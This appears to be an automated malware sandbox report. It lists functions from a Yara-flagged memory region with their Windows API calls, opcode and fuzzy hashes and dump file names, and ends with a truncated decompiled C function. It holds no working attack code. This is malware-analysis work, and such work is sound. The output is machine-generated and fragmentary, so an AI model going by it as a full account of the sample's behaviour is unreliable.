String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: fead514cabe4814d174c9c8fb60ffadff092d031a689921e6f23a6cb00221d16
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 10F0A4B2200208AFCB14DF89DC91EEB77ADAF8C754F158248BE1D97241D630E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00099E80, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00094D10,?,?,00094D10,00000000,FFFFFFFF), ref: 00099EA5

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 7bafa5a8a84721917e68a6eceee91e07c96d2fc345112c48b1fd92cb674e3066
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 38D01776600214ABDB10EB98CC86EE77BACEF49760F154499BA5C9B242C530FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00D100C4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D100CF

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00D107AC, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D107B7

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 00D0F9F0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0F9FB

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 00D0F900, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0F90E

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FAE8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FAF3

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FBB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FBC3

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FB50, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FB5B

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FB68, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FB73

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FC60, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FC6B

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FDC0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FDCB

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FD8C, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FD9A

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FED0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FEDB

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FFB4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D0FFBF

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 0009A060, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00083AF8), ref: 0009A08D

Strings

.z`, xrefs: 0009A07C, 0009A088

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: a291e4ec65558c5148eedba6729c149e861a9d856c25b40a8d06025144360991
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 25E012B1200208ABDB18EF99CC49EA777ACAF88750F018558BE185B242C630E9108AF0

Uniqueness

Uniqueness Score: -1.00%

Function 000882E8, Relevance: 3.1, APIs: 2, Instructions: 62threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0008834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0008836B

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: e53b5b7ad0572521aa800ad7759a1ee729e3513d237bfdeb657aa77b8d8f0d4b
Instruction ID: d74a3346c0a897a7e1d060d3baab681eabb4b6d62af5d397d59e3fcebfd7f9a0
Opcode Fuzzy Hash: e53b5b7ad0572521aa800ad7759a1ee729e3513d237bfdeb657aa77b8d8f0d4b
Instruction Fuzzy Hash: 1D01B531E802187BEB20B6989C43FFE775CBB41B50F444159FE08FA1C2EA956A0643E6

Uniqueness

Uniqueness Score: -1.00%

Function 000882F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0008834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0008836B

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: c7fc2a5f69c1d358cb08d19fc6b82389f9e8c0a6b9b865c62a2b7bfc84e48788
Instruction ID: c4677aae8ac412207fcf983d3e5240e210b60c1715605391d1e4e03da92c4e84
Opcode Fuzzy Hash: c7fc2a5f69c1d358cb08d19fc6b82389f9e8c0a6b9b865c62a2b7bfc84e48788
Instruction Fuzzy Hash: DD018431A802287BFB20B6949C03FFE766C6B41F50F044119FF04BA1C2EA946A0647E6

Uniqueness

Uniqueness Score: -1.00%

Function 0009A0CD, Relevance: 1.5, APIs: 1, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0009A124

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: b8503a2d71a2b669bb7460c07c055c94a0c7e3be4a5f022fec810fd7633f45b3
Instruction ID: 46b944b871a1b42882253f49bfdecd7d2ef3edd5dbaa9dc997e78d83040401f9
Opcode Fuzzy Hash: b8503a2d71a2b669bb7460c07c055c94a0c7e3be4a5f022fec810fd7633f45b3
Instruction Fuzzy Hash: 82019DB2610108AFCB58CF99DC81EEB77ADAF8C354F158258FA0DA7251C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0009A0D0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 0009A124

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: be69a164b90f52cdf138f11d4f4c16ae0c8f1d3ca4b73922774bedb9ce3d57f5
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 7E01B2B2210108BFCB54DF89DC81EEB77ADAF8C754F158258FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0009A1C0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0008F192,0008F192,?,00000000,?,?), ref: 0009A1F0

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 89bb538c540c149beddcab492b13c1476a756bae682638512484373e91ae5804
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: B2E01AB16002086BDB10DF49CC85EE737ADAF89650F018154BE0C57242C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0008F690, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00088CF4,?), ref: 0008F6BB

Memory Dump Source

Source File: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction ID: 61ef560bb03ba9adce2078f54508012ad0f896a2dd35becffac913c9d2969378
Opcode Fuzzy Hash: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction Fuzzy Hash: A6D0A7727943043BEA10FAA49C03F6632CC7B44B14F490074F948DB3C3E960E4114165

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D38788, Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00D38788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E00D38460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E00D1E025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E00D3718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E00D38460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E00D3718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E00D38460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E00D38460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E00D38460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
